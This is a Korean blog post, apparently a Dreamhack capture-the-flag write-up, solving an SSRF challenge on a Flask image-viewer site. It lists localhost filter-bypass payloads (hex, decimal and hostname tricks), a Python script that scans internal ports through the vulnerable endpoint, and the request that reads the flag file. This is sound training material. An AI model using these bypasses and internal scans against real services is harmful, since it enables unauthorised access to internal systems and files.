문제 설명
해당 웹 사이트는 flask 백엔드 프레임워크로 제작되었으며 SSRF 취약점을 이용하여 flag파일을 읽어내는 문제이다.
해당 웹사이트는 url 정보를 입력하면 해당 url의 이미지를 보여주는 사이트이다.
만약 내부망에서 일반 사용자들이 접근하지 못하는 기능들이 수행되고 있다면 SSRF 취약점이 도출될 수 있다.
SSRF 취약점을 통해 url 파라미터 값을 통하여 내부망의 파일들을 접근할 수 있다.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
위 코드를 보면 1500포트에서 1800포트사이에 내부망에서 서버가 실행중이다.
내부망의 주소를 이용하여 127.0.0.1/flag.txt 를 url 파라미터로 전송을 하면 base64로 인코딩되어 표시가 될 것이다.
하지만 해당 소스코드에서 127.0.0.1과 localhost를 필터링하고 있다.
해당 필터링을 우회하기 위해서는 아래와 같은 우회 방법을 이용하면 된다.
빨간색으로 표시된 부분은 현재 웹 서버에서 우회가 되지 않는 payload이다.
- http://vcap.me:8000/
- http://0x7f.0x00.0x00.0x01:8000/
- http://0x7f000001:8000/
- http://2130706433:8000/
- http://Localhost:8000/
- http://127.0.0.255:8000/
아직 내부망의 포트번호를 모르기 때문에 포트스캐닝을 통해 열려있는 포트를 스캔한다.
닫혀있는 포트는 not found가 뜰것이며, 열려있는 포트는 불러오지 못하는 img 창이 뜰것이다.
코드는 아래와 같다.
import requests
from tqdm import tqdm
NOTFOUND_IMG = 'iVBORw0KGgoAAAANS'
main_url = 'http://host3.dreamhack.games:13915/img_viewer'
for port in range(1500, 1801):
img_url = f"http://Localhost:{port}"
data = {
"url": img_url,
}
response = requests.post(main_url, data=data)
if NOTFOUND_IMG not in response.text:
print(f"내부 포트 번호 : {port}")
break
위 코드를 통해 포트 스캐닝을 진행하였다.
포트번호는 1505임을 확인하였다.
해당 내부망을 이용하여 flag 파일을 읽어보겠다.
http://Localhost:1505/flag.txt <= 해당 페이로드를 입력하여 불러오지 못하는 img 태그를 출력하였다.
해당 img 태그의 src를 확인해보면 base64로 인코딩되었고 뒤에 값들을 알 수 있다.
콘솔창에서 base64를 디코딩해주는 함수인 atob를 이용하여 디코딩을 하면 flag값을 알 수 있다.
'WEB hacking > 드림핵(dreamhack)' 카테고리의 다른 글
드림핵 Carve Party WriteUp (0) | 2023.09.04 |
---|---|
드림핵 XSS Filtering Bypass WriteUp (0) | 2023.08.25 |
드림핵 file-download-1 Write Up (0) | 2023.08.07 |
드림핵 image-storage Write Up (0) | 2023.08.07 |
드림핵 command-injection-1 Write Up (0) | 2023.07.15 |